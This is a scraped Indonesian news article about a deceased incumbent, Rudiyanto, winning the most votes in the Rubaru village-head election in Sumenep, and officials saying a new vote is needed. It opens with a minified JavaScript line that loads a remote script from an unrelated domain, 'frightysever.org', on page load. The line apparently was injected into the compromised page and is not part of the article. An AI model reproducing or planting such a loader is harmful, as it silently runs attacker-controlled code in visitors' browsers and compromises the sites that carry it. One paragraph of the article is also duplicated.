(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Rudiyanto, salah satu peserta Pilkades (pemilihan kepala desa) Rubaru, Kabupaten Sumenep mendapat suara terbanyak, total 1.334 suara. Padahal Rudiyanto telah meninggal dunia.
Sedangkan dua calon kades lainnya, Moh. Munandar mengemas 1.005 suara, dan Abdul Latif hanya meraup 31 suara. Sosok almarhum Rudiyanto ini diketahui merupakan calon incumbent atau petahana.
“Hasil penghitungan suara yang kami lakukan, almarhum Rudiyanto mendapatkan suara terbanyak. Selisih suaranya dibanding perolehan terbanyak kedua adalah 339 suara,” ujar Ketua Panitia Pilkades Rubaru, Moh Fikri, mengutip dari Beritajatim.com jejaring media Suara.com, Kamis (25/11/2021).
Alasan Rudiyanto tetap dipilih meski telah wafat, lantaran sosok petahana tersebut dicintai masyarakat. Kemudian selama kepemimpinannya cukup banyak kemajuan yang terjadi di Desa Rubaru, terutama infrastruktur.
Baca juga: Sabet Juara I Nasional untuk Kalsel, Nishfa Raih Gelar Master Catur
Selain itu, dikenal selalu ada untuk masyarakat saat dibutuhkan. Karena itu, masyarakat tetap bersikeras memilih Rudiyanto, meski sudah tiada.
Selain itu, dikenal selalu ada untuk masyarakat saat dibutuhkan. Karena itu, masyarakat tetap bersikeras memilih Rudiyanto, meski sudah tiada.
Sementara, Kepala Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Sumenep, Moh. Ramli menjelaskan, Pilkades Rubaru tetap bisa digelar meski ada satu calon yang meninggal.
“Di Desa Rubaru kan ada tiga calon. satu meninggal. Jadi masih ada dua calon. Ini memang boleh dan sah pemungutan suaranya,” terang Ramli.
Baca juga: Pemko Banjarbaru Buka Kesempatan UMKM Tampil ke Kancah Internasional
Namun, lanjut dia, hasil pemungutan suara bisa disahkan jika calon yang terpilih masih hidup. Lain cerita jika ternyata sudah meninggal. Maka, menurutnya, hasil pilkades di Desa Rubaru tidak dapat disahkan.
“Karena itu, untuk Desa Rubaru ini harus dilakukan pemungutan suara ulang pada Pilkades berikutnya. Untuk menjalankan roda pemerintahan desa, maka Bupati nanti akan menunjuk PJ hingga pelaksanaan Pilkades berikutnya,” papar Ramli. (Suara.com)
Editor: suara
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
This website uses cookies.